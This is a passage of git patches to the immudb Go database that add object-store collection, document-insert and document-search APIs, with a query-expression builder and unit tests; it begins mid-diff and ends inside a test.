document + for _, doc := range req.Document { + values := make([]sql.ValueExp, 0) + for _, col := range tcolumns { + if rval, ok := doc.Fields[col.Name()]; ok && col.Name() != "_obj" { + valType, err := ValueTypeToExp(col.Type(), rval) + if err != nil { + return "", err + } + values = append(values, valType) + } + if col.Name() == "_obj" { + document, err := object.NewDocumentFrom(doc) + if err != nil { + return "", err + } + res, err := document.MarshalJSON() + if err != nil { + return "", err + } + values = append(values, sql.NewBlob(res)) + } + } + + if len(values) > 0 { + rows = append(rows, sql.NewRowSpec(values)) + } + } + + // add documents to collection _, _, err = d.objectEngine.ExecPreparedStmts( context.Background(), nil, - []sql.SQLStmt{sql.NewUpserIntoStmt(d.objectEngine.CurrentDatabase(), collection, []string{"name", "_obj"}, nil, nil)}, + []sql.SQLStmt{ + sql.NewUpserIntoStmt( + d.objectEngine.CurrentDatabase(), + req.Collection, + cols, + rows, + nil, + ), + }, nil, ) - // stmt := &sql.UpsertIntoStmt{ - // tableRef: &tableRef{table: "table1"}, - // cols: []string{"id", "time", "title", "active", "compressed", "payload", "note"}, - // rows: []*RowSpec{ - // {Values: []ValueExp{ - // &Number{val: 2}, - // &FnCall{fn: "now"}, - // &Varchar{val: "un'titled row"}, - // &Bool{val: true}, - // &Bool{val: false}, - // &Blob{val: decodedBLOB}, - // &Param{id: "param1"}, - // }, - // }, - // }, - // } return "", err } diff --git a/pkg/database/interface.go b/pkg/database/interface.go index 80f5bcd7c5..c76134075a 100644 --- a/pkg/database/interface.go +++ b/pkg/database/interface.go @@ -3,12 +3,14 @@ package database import ( "context" "crypto/sha256" + "fmt" "time" "github.com/codenotary/immudb/embedded/object" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" + schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" ) type DB interface { @@ -106,10 +108,43 @@ type ObjectDatabase interface { // GetCollection returns the collection schema GetCollection(ctx context.Context, collection string) (interface{}, error) // CreateCollection creates a new collection - CreateCollection(ctx context.Context, collection string, schema interface{}) error + CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error // GetDocument returns the document GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) // CreateDocument creates a new document - CreateDocument(ctx context.Context, collection string, document *object.Document) (string, error) + CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) +} + +// Schema to ValueType mapping +var SchemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ + schemav2.PossibleIndexType_STRING: sql.VarcharType, + schemav2.PossibleIndexType_INTEGER: sql.IntegerType, +} + +// ValueType to ValueExp conversion +var ValueTypeToExp = func(stype sql.SQLValueType, value interface{}) (sql.ValueExp, error) { + errType := fmt.Errorf("unsupported type %v", stype) + switch stype { + case sql.VarcharType: + _, ok := value.(string) + if !ok { + return nil, errType + } + return sql.NewVarchar(value.(string)), nil + case sql.IntegerType: + _, ok := value.(int64) + if !ok { + return nil, errType + } + return sql.NewNumber(value.(int64)), nil + case sql.BLOBType: + _, ok := value.([]byte) + if !ok { + return nil, errType + } + return sql.NewBlob(value.([]byte)), nil + } + + return nil, errType } diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 752508022a..50addcfafa 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/database" ) @@ -251,7 +252,7 @@ func (d *closedDB) GetCollection(ctx context.Context, collection string) (interf } // CreateCollection creates a new collection -func (d *closedDB) CreateCollection(ctx context.Context, collection string, schema interface{}) error { +func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { return store.ErrAlreadyClosed } @@ -261,6 +262,6 @@ func (d *closedDB) GetDocument(ctx context.Context, collection string, id string } // CreateDocument creates a new document -func (d *closedDB) CreateDocument(ctx context.Context, collection string, document *object.Document) (string, error) { +func (d *closedDB) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { return "", store.ErrAlreadyClosed } From 7e62d89f127b0e21d491868a581946c6f47a8a40 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 7 Mar 2023 12:09:56 +0530 Subject: [PATCH 0313/1062] chore(pkg/database): add search document api implementation for object store --- embedded/sql/engine.go | 1 - embedded/sql/stmt.go | 25 +++ pkg/database/database.go | 128 +----------- pkg/database/interface.go | 37 +--- pkg/database/object_database.go | 288 +++++++++++++++++++++++++++ pkg/database/object_database_test.go | 55 +++++ pkg/server/db_dummy_closed.go | 3 +- 7 files changed, 380 insertions(+), 157 deletions(-) create mode 100644 pkg/database/object_database.go create mode 100644 pkg/database/object_database_test.go diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 255858a4d6..ec685fba3e 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -273,7 +273,6 @@ func (e *Engine) ExecPreparedStmts(ctx context.Context, tx *SQLTx, stmts []SQLSt } ntx, hctxs, err := e.multidbHandler.ExecPreparedStmts(ctx, opts, pendingStmts, params) - return ntx, append(ctxs, hctxs...), err } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 5ed131f5f0..29feca9c36 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -2110,6 +2110,14 @@ type DataSource interface { Alias() string } +func NewSelectStmt(db string, table string, where ValueExp) *SelectStmt { + tableref := newTableRef(db, table, "") + return &SelectStmt{ + ds: tableref, + where: where, + } +} + type SelectStmt struct { distinct bool selectors []Selector @@ -2623,6 +2631,15 @@ type Selector interface { setAlias(alias string) } +func NewColSelector(db, table, col, as string) *ColSelector { + return &ColSelector{ + db: db, + table: table, + col: col, + as: as, + } +} + type ColSelector struct { db string table string @@ -3098,6 +3115,14 @@ func (bexp *LikeBoolExp) selectorRanges(table *Table, asTable string, params map return nil } +func NewCmpBoolExp(op CmpOperator, left, right ValueExp) *CmpBoolExp { + return &CmpBoolExp{ + op: op, + left: left, + right: right, + } +} + type CmpBoolExp struct { op CmpOperator left, right ValueExp diff --git a/pkg/database/database.go b/pkg/database/database.go index f418e622c7..cd158c4fea 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -33,7 +33,6 @@ import ( "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" - schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/logger" ) @@ -300,6 +299,16 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } + + _, _, err = dbi.objectEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) + if err != nil { + return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + } + + err = dbi.objectEngine.SetCurrentDatabase(context.Background(), dbInstanceName) + if err != nil { + return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + } } dbi.sqlEngine.SetMultiDBHandler(multidbHandler) @@ -1646,120 +1655,3 @@ func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { // TODO: add object store support for truncation too return d.sqlEngine.CopyCatalogToTx(ctx, tx) } - -// TODO: make new objectdb to embed object engine commands -// GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, collection string) (interface{}, error) { - return nil, nil -} - -// CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { - collectionName := req.Name - primaryKeys := make([]string, 0) - collectionSpec := make([]*sql.ColSpec, 0, len(req.PrimaryKeys)) - - for name, pk := range req.PrimaryKeys { - schType, isValid := SchemaToValueType[pk] - if !isValid { - return fmt.Errorf("invalid primary key type: %v", pk) - } - primaryKeys = append(primaryKeys, name) - // TODO: add support for other types - // TODO: add support for max length - // TODO: add support for auto increment - collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 50, false, false)) - } - - // add support for blob - // TODO: add support for max length for blob storage - collectionSpec = append(collectionSpec, sql.NewColSpec("_obj", sql.BLOBType, 10000, false, false)) - - _, _, err := d.objectEngine.ExecPreparedStmts( - context.Background(), - nil, - []sql.SQLStmt{sql.NewCreateTableStmt( - collectionName, - false, - collectionSpec, - primaryKeys, - )}, - nil, - ) - return err -} - -// GetDocument returns the document -func (d *db) GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) { - return nil, nil -} - -// CreateDocument creates a new document -func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { - tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return "", err - } - defer tx.Cancel() - - // check if collection exists - table, err := tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), req.Collection) - if err != nil { - return "", err - } - - cols := make([]string, 0) - tcolumns := table.ColsByName() - rows := make([]*sql.RowSpec, 0) - - for _, col := range tcolumns { - cols = append(cols, col.Name()) - } - - // TODO: should be able to send only a single document - for _, doc := range req.Document { - values := make([]sql.ValueExp, 0) - for _, col := range tcolumns { - if rval, ok := doc.Fields[col.Name()]; ok && col.Name() != "_obj" { - valType, err := ValueTypeToExp(col.Type(), rval) - if err != nil { - return "", err - } - values = append(values, valType) - } - if col.Name() == "_obj" { - document, err := object.NewDocumentFrom(doc) - if err != nil { - return "", err - } - res, err := document.MarshalJSON() - if err != nil { - return "", err - } - values = append(values, sql.NewBlob(res)) - } - } - - if len(values) > 0 { - rows = append(rows, sql.NewRowSpec(values)) - } - } - - // add documents to collection - _, _, err = d.objectEngine.ExecPreparedStmts( - context.Background(), - nil, - []sql.SQLStmt{ - sql.NewUpserIntoStmt( - d.objectEngine.CurrentDatabase(), - req.Collection, - cols, - rows, - nil, - ), - }, - nil, - ) - - return "", err -} diff --git a/pkg/database/interface.go b/pkg/database/interface.go index c76134075a..b2f63f545f 100644 --- a/pkg/database/interface.go +++ b/pkg/database/interface.go @@ -3,10 +3,8 @@ package database import ( "context" "crypto/sha256" - "fmt" "time" - "github.com/codenotary/immudb/embedded/object" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" @@ -111,40 +109,7 @@ type ObjectDatabase interface { CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error // GetDocument returns the document - GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) + GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) } - -// Schema to ValueType mapping -var SchemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ - schemav2.PossibleIndexType_STRING: sql.VarcharType, - schemav2.PossibleIndexType_INTEGER: sql.IntegerType, -} - -// ValueType to ValueExp conversion -var ValueTypeToExp = func(stype sql.SQLValueType, value interface{}) (sql.ValueExp, error) { - errType := fmt.Errorf("unsupported type %v", stype) - switch stype { - case sql.VarcharType: - _, ok := value.(string) - if !ok { - return nil, errType - } - return sql.NewVarchar(value.(string)), nil - case sql.IntegerType: - _, ok := value.(int64) - if !ok { - return nil, errType - } - return sql.NewNumber(value.(int64)), nil - case sql.BLOBType: - _, ok := value.([]byte) - if !ok { - return nil, errType - } - return sql.NewBlob(value.([]byte)), nil - } - - return nil, errType -} diff --git a/pkg/database/object_database.go b/pkg/database/object_database.go new file mode 100644 index 0000000000..8c63127c91 --- /dev/null +++ b/pkg/database/object_database.go @@ -0,0 +1,288 @@ +package database + +import ( + "context" + "fmt" + + "github.com/codenotary/immudb/embedded/object" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/schema" + schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" + "google.golang.org/protobuf/types/known/structpb" +) + +// Schema to ValueType mapping +var ( + SchemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ + schemav2.PossibleIndexType_STRING: sql.VarcharType, + schemav2.PossibleIndexType_INTEGER: sql.IntegerType, + } + + // ValueType to ValueExp conversion + ValueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { + errType := fmt.Errorf("unsupported type %v", stype) + switch stype { + case sql.VarcharType: + _, ok := value.GetKind().(*structpb.Value_StringValue) + if !ok { + return nil, errType + } + return sql.NewVarchar(value.GetStringValue()), nil + case sql.IntegerType: + _, ok := value.GetKind().(*structpb.Value_NumberValue) + if !ok { + return nil, errType + } + return sql.NewNumber(int64(value.GetNumberValue())), nil + case sql.BLOBType: + _, ok := value.GetKind().(*structpb.Value_StructValue) + if !ok { + return nil, errType + } + return sql.NewBlob([]byte(value.GetStructValue().String())), nil + } + + return nil, errType + } + + valueTypeToFieldValue = func(tv sql.TypedValue) (*structpb.Value, error) { + errType := fmt.Errorf("unsupported type %v", tv.Type()) + value := &structpb.Value{} + switch tv.Type() { + case sql.VarcharType: + value.Kind = &structpb.Value_StringValue{StringValue: tv.Value().(string)} + return value, nil + case sql.IntegerType: + value.Kind = &structpb.Value_NumberValue{NumberValue: float64(tv.Value().(int64))} + return value, nil + case sql.BLOBType: + value.Kind = &structpb.Value_StringValue{StringValue: string(tv.Value().([]byte))} + return value, nil + } + + return nil, errType + } +) + +// TODO: make new objectdb to embed object engine commands +// GetCollection returns the collection schema +func (d *db) GetCollection(ctx context.Context, collection string) (interface{}, error) { + return nil, nil +} + +// CreateCollection creates a new collection +func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error { + collectionName := req.Name + primaryKeys := make([]string, 0) + collectionSpec := make([]*sql.ColSpec, 0, len(req.PrimaryKeys)) + + for name, pk := range req.PrimaryKeys { + schType, isValid := SchemaToValueType[pk] + if !isValid { + return fmt.Errorf("invalid primary key type: %v", pk) + } + primaryKeys = append(primaryKeys, name) + // TODO: add support for other types + // TODO: add support for max length + // TODO: add support for auto increment + collectionSpec = append(collectionSpec, sql.NewColSpec(name, schType, 0, false, false)) + } + + // add support for blob + // TODO: add support for max length for blob storage + collectionSpec = append(collectionSpec, sql.NewColSpec("_obj", sql.BLOBType, 10000, false, false)) + + _, _, err := d.objectEngine.ExecPreparedStmts( + context.Background(), + nil, + []sql.SQLStmt{sql.NewCreateTableStmt( + collectionName, + false, + collectionSpec, + primaryKeys, + )}, + nil, + ) + return err +} + +func (d *db) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { + tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), collection) + if err != nil { + return nil, err + } + + return table.ColsByName(), nil +} + +// CreateDocument creates a new document +func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (string, error) { + tx, err := d.objectEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return "", err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(d.objectEngine.CurrentDatabase(), req.Collection) + if err != nil { + return "", err + } + + cols := make([]string, 0) + tcolumns := table.ColsByName() + rows := make([]*sql.RowSpec, 0) + + for _, col := range tcolumns { + cols = append(cols, col.Name()) + } + + // TODO: should be able to send only a single document + for _, doc := range req.Document { + values := make([]sql.ValueExp, 0) + for _, col := range tcolumns { + if rval, ok := doc.Fields[col.Name()]; ok && col.Name() != "_obj" { + valType, err := ValueTypeToExp(col.Type(), rval) + if err != nil { + return "", err + } + values = append(values, valType) + } + if col.Name() == "_obj" { + document, err := object.NewDocumentFrom(doc) + if err != nil { + return "", err + } + res, err := document.MarshalJSON() + if err != nil { + return "", err + } + values = append(values, sql.NewBlob(res)) + } + } + + if len(values) > 0 { + rows = append(rows, sql.NewRowSpec(values)) + } + } + + // add documents to collection + _, _, err = d.objectEngine.ExecPreparedStmts( + ctx, + nil, + []sql.SQLStmt{ + sql.NewUpserIntoStmt( + d.objectEngine.CurrentDatabase(), + req.Collection, + cols, + rows, + nil, + ), + }, + nil, + ) + + return "", err +} + +// GetDocument returns the document +func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { + query := req.Query[0] + tcols, err := d.getCollectionSchema(ctx, req.Collection) + if err != nil { + return nil, err + } + + isFieldValue := false + var fieldType string + for _, col := range tcols { + if col.Name() == query.Field { + isFieldValue = true + fieldType = col.Type() + } + } + if !isFieldValue { + return nil, fmt.Errorf("invalid field name: %v", query.Field) + } + + valType, err := ValueTypeToExp(fieldType, query.Value) + if err != nil { + return nil, err + } + + op := sql.NewSelectStmt( + d.objectEngine.CurrentDatabase(), + req.Collection, + sql.NewCmpBoolExp( + int(query.Operator), + sql.NewColSelector(d.objectEngine.CurrentDatabase(), req.Collection, query.GetField(), ""), + valType, + ), + ) + r, err := d.objectEngine.QueryPreparedStmt(ctx, nil, op, nil) + if err != nil { + return nil, err + } + defer r.Close() + + colDescriptors, err := r.Columns(ctx) + if err != nil { + return nil, err + } + + cols := make([]*schema.Column, len(colDescriptors)) + + for i, c := range colDescriptors { + dbname := c.Database + if c.Database == dbInstanceName { + dbname = d.name + } + + des := &sql.ColDescriptor{ + AggFn: c.AggFn, + Database: dbname, + Table: c.Table, + Column: c.Column, + Type: c.Type, + } + cols[i] = &schema.Column{Name: des.Column, Type: des.Type} + } + + resp := &schemav2.DocumentSearchResponse{Results: []*structpb.Struct{}} + + for l := 1; ; l++ { + row, err := r.Read(ctx) + if err == sql.ErrNoMoreRows { + break + } + if err != nil { + return nil, err + } + + object := &structpb.Struct{Fields: map[string]*structpb.Value{}} + for i := range colDescriptors { + v := row.ValuesByPosition[i] + vtype, err := valueTypeToFieldValue(v) + if err != nil { + return nil, err + } + object.Fields[cols[i].Name] = vtype + } + resp.Results = append(resp.Results, object) + + if l == d.maxResultSize { + return nil, fmt.Errorf("%w: found at least %d rows (the maximum limit). "+ + "Query constraints can be applied using the LIMIT clause", + ErrResultSizeLimitReached, d.maxResultSize) + } + } + + return resp, nil +} diff --git a/pkg/database/object_database_test.go b/pkg/database/object_database_test.go new file mode 100644 index 0000000000..890f57bcb5 --- /dev/null +++ b/pkg/database/object_database_test.go @@ -0,0 +1,55 @@ +package database + +import ( + "context" + "testing" + + schemav2 "github.com/codenotary/immudb/pkg/api/schemav2" + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" +) + +func Test_db_CreateCollection(t *testing.T) { + db := makeDb(t) + + // create collection + collectionName := "mycollection" + err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ + Name: collectionName, + PrimaryKeys: map[string]schemav2.PossibleIndexType{ + "id": schemav2.PossibleIndexType_INTEGER, + }, + }) + require.NoError(t, err) + + // add document to collection + _, err = db.CreateDocument(context.Background(), &schemav2.DocumentInsertRequest{ + Collection: collectionName, + Document: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "id": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, + }, + }, + }, + }) + require.NoError(t, err) + + // query collection for document + resp, err := db.GetDocument(context.Background(), &schemav2.DocumentSearchRequest{ + Collection: collectionName, + Query: []*schemav2.DocumentQuery{ + { + Field: "id", + Value: &structpb.Value{ + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, + Operator: schemav2.QueryOperator_EQ, + }, + }, + }) + require.NoError(t, err) + require.Equal(t, 1, len(resp.Results)) +} diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 50addcfafa..be3ff58686 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -22,7 +22,6 @@ import ( "path/filepath" "time" - "github.com/codenotary/immudb/embedded/object" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" @@ -257,7 +256,7 @@ func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.Collectio } // GetDocument returns the document -func (d *closedDB) GetDocument(ctx context.Context, collection string, id string) (*object.Document, error) { +func (d *closedDB) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { return nil, store.ErrAlreadyClosed } From d8cb516138778d0b0c21bbd53f79c93e7887c666 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 8 Mar 2023 11:28:42 +0530 Subject: [PATCH 0314/1062] chore(pkg/database): add query parser for object to generate sql expression --- embedded/sql/stmt.go | 27 +++++ pkg/database/interface.go | 2 +- pkg/database/object_database.go | 149 +++++++++++++++++++++++---- pkg/database/object_database_test.go | 74 +++++++++++++ pkg/server/db_dummy_closed.go | 2 +- 5 files changed, 232 insertions(+), 22 deletions(-) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 29feca9c36..9aa38fade5 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -3128,6 +3128,14 @@ type CmpBoolExp struct { left, right ValueExp } +func (bexp *CmpBoolExp) Left() ValueExp { + return bexp.left +} + +func (bexp *CmpBoolExp) Right() ValueExp { + return bexp.right +} + func (bexp *CmpBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { tleft, err := bexp.left.inferType(cols, params, implicitDB, implicitTable) if err != nil { @@ -3353,11 +3361,30 @@ func cmpSatisfiesOp(cmp int, op CmpOperator) bool { return false } +func NewBinBoolExp(op LogicOperator, lrexp, rrexp ValueExp) *BinBoolExp { + bexp := &BinBoolExp{ + op: op, + } + + bexp.left = lrexp + bexp.right = rrexp + + return bexp +} + type BinBoolExp struct { op LogicOperator left, right ValueExp } +func (bexp *BinBoolExp) Left() ValueExp { + return bexp.left +} + +func (bexp *BinBoolExp) Right() ValueExp { + return bexp.right +} + func (bexp *BinBoolExp) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitDB, implicitTable string) (SQLValueType, error) { err := bexp.left.requiresType(BooleanType, cols, params, implicitDB, implicitTable) if err != nil { diff --git a/pkg/database/interface.go b/pkg/database/interface.go index b2f63f545f..5fd8b2d637 100644 --- a/pkg/database/interface.go +++ b/pkg/database/interface.go @@ -104,7 +104,7 @@ type DB interface { // ObjectDatabase is the interface for object database type ObjectDatabase interface { // GetCollection returns the collection schema - GetCollection(ctx context.Context, collection string) (interface{}, error) + GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) // CreateCollection creates a new collection CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) error diff --git a/pkg/database/object_database.go b/pkg/database/object_database.go index 8c63127c91..7d3a91b3f2 100644 --- a/pkg/database/object_database.go +++ b/pkg/database/object_database.go @@ -11,6 +11,10 @@ import ( "google.golang.org/protobuf/types/known/structpb" ) +const ( + defaultObjectBLOBField = "_obj" +) + // Schema to ValueType mapping var ( SchemaToValueType = map[schemav2.PossibleIndexType]sql.SQLValueType{ @@ -19,7 +23,7 @@ var ( } // ValueType to ValueExp conversion - ValueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { + valueTypeToExp = func(stype sql.SQLValueType, value *structpb.Value) (sql.ValueExp, error) { errType := fmt.Errorf("unsupported type %v", stype) switch stype { case sql.VarcharType: @@ -66,7 +70,7 @@ var ( // TODO: make new objectdb to embed object engine commands // GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, collection string) (interface{}, error) { +func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { return nil, nil } @@ -90,7 +94,7 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat // add support for blob // TODO: add support for max length for blob storage - collectionSpec = append(collectionSpec, sql.NewColSpec("_obj", sql.BLOBType, 10000, false, false)) + collectionSpec = append(collectionSpec, sql.NewColSpec(defaultObjectBLOBField, sql.BLOBType, 10000, false, false)) _, _, err := d.objectEngine.ExecPreparedStmts( context.Background(), @@ -148,14 +152,8 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq for _, doc := range req.Document { values := make([]sql.ValueExp, 0) for _, col := range tcolumns { - if rval, ok := doc.Fields[col.Name()]; ok && col.Name() != "_obj" { - valType, err := ValueTypeToExp(col.Type(), rval) - if err != nil { - return "", err - } - values = append(values, valType) - } - if col.Name() == "_obj" { + switch col.Name() { + case defaultObjectBLOBField: document, err := object.NewDocumentFrom(doc) if err != nil { return "", err @@ -165,7 +163,33 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq return "", err } values = append(values, sql.NewBlob(res)) + default: + if rval, ok := doc.Fields[col.Name()]; ok { + valType, err := valueTypeToExp(col.Type(), rval) + if err != nil { + return "", err + } + values = append(values, valType) + } } + // if rval, ok := doc.Fields[col.Name()]; ok && col.Name() != "_obj" { + // valType, err := valueTypeToExp(col.Type(), rval) + // if err != nil { + // return "", err + // } + // values = append(values, valType) + // } + // if col.Name() == "_obj" { + // document, err := object.NewDocumentFrom(doc) + // if err != nil { + // return "", err + // } + // res, err := document.MarshalJSON() + // if err != nil { + // return "", err + // } + // values = append(values, sql.NewBlob(res)) + // } } if len(values) > 0 { @@ -200,6 +224,7 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques return nil, err } + // TODO: modify this check for multiple queries isFieldValue := false var fieldType string for _, col := range tcols { @@ -212,20 +237,33 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques return nil, fmt.Errorf("invalid field name: %v", query.Field) } - valType, err := ValueTypeToExp(fieldType, query.Value) + valType, err := valueTypeToExp(fieldType, query.Value) if err != nil { return nil, err } + // TODO: replace this with generateBinBoolExp + exp, err := d.generateBinBoolExp(ctx, req.Collection, req.Query) + if err != nil { + return nil, err + } + + // op := sql.NewSelectStmt( + // d.objectEngine.CurrentDatabase(), + // req.Collection, + // sql.NewCmpBoolExp( + // int(query.Operator), + // sql.NewColSelector(d.objectEngine.CurrentDatabase(), req.Collection, query.GetField(), ""), + // valType, + // ), + // ) + op := sql.NewSelectStmt( d.objectEngine.CurrentDatabase(), req.Collection, - sql.NewCmpBoolExp( - int(query.Operator), - sql.NewColSelector(d.objectEngine.CurrentDatabase(), req.Collection, query.GetField(), ""), - valType, - ), + exp, ) + r, err := d.objectEngine.QueryPreparedStmt(ctx, nil, op, nil) if err != nil { return nil, err @@ -266,16 +304,16 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques return nil, err } - object := &structpb.Struct{Fields: map[string]*structpb.Value{}} + document := &structpb.Struct{Fields: map[string]*structpb.Value{}} for i := range colDescriptors { v := row.ValuesByPosition[i] vtype, err := valueTypeToFieldValue(v) if err != nil { return nil, err } - object.Fields[cols[i].Name] = vtype + document.Fields[cols[i].Name] = vtype } - resp.Results = append(resp.Results, object) + resp.Results = append(resp.Results, document) if l == d.maxResultSize { return nil, fmt.Errorf("%w: found at least %d rows (the maximum limit). "+ @@ -286,3 +324,74 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques return resp, nil } + +// generateBinBoolExp generates a boolean expression from a list of expressions. +/* + TODO: remove this + An example format is below + /* + where: &BinBoolExp{ + op: AND, + left: &BinBoolExp{ + op: AND, + left: &CmpBoolExp{ + op: EQ, + left: &ColSelector{ + col: "country", + }, + right: &Varchar{val: "US"}, + }, + right: &CmpBoolExp{ + op: LE, + left: &ColSelector{ + col: "time", + }, + right: &FnCall{fn: "now"}, + }, + }, + right: &CmpBoolExp{ + op: EQ, + left: &ColSelector{ + col: "name", + }, + right: &Param{id: "pname"}, + }, + }, + +*/ +func (d *db) generateBinBoolExp(ctx context.Context, collection string, expressions []*schemav2.DocumentQuery) (*sql.BinBoolExp, error) { + if len(expressions) == 0 { + return nil, nil + } + + tcols, err := d.getCollectionSchema(ctx, collection) + if err != nil { + return nil, err + } + + // Convert each expression to a boolean expression. + boolExps := make([]*sql.CmpBoolExp, len(expressions)) + for i, exp := range expressions { + fieldType, ok := tcols[exp.Field] + if !ok { + return nil, fmt.Errorf("unsupported field %v", exp.Field) + } + value, err := valueTypeToExp(fieldType.Type(), exp.Value) + if err != nil { + return nil, err + } + + colSelector := sql.NewColSelector(d.objectEngine.CurrentDatabase(), collection, exp.GetField(), "") + + boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) + } + + // Combine boolean expressions using AND operator. + result := sql.NewBinBoolExp(sql.AND, boolExps[0].Left(), boolExps[0].Right()) + + for _, exp := range boolExps[1:] { + result = sql.NewBinBoolExp(sql.AND, result, exp) + } + + return result, nil +} diff --git a/pkg/database/object_database_test.go b/pkg/database/object_database_test.go index 890f57bcb5..efb05ba1e8 100644 --- a/pkg/database/object_database_test.go +++ b/pkg/database/object_database_test.go @@ -53,3 +53,77 @@ func Test_db_CreateCollection(t *testing.T) { require.NoError(t, err) require.Equal(t, 1, len(resp.Results)) } + +func TestGenerateBinBoolExp(t *testing.T) { + db := makeDb(t) + + // create collection + collectionName := "mycollection" + err := db.CreateCollection(context.Background(), &schemav2.CollectionCreateRequest{ + Name: collectionName, + PrimaryKeys: map[string]schemav2.PossibleIndexType{ + "id": schemav2.PossibleIndexType_INTEGER, + "country_id": schemav2.PossibleIndexType_INTEGER, + "pincode": schemav2.PossibleIndexType_INTEGER, + }, + }) + require.NoError(t, err) + + // 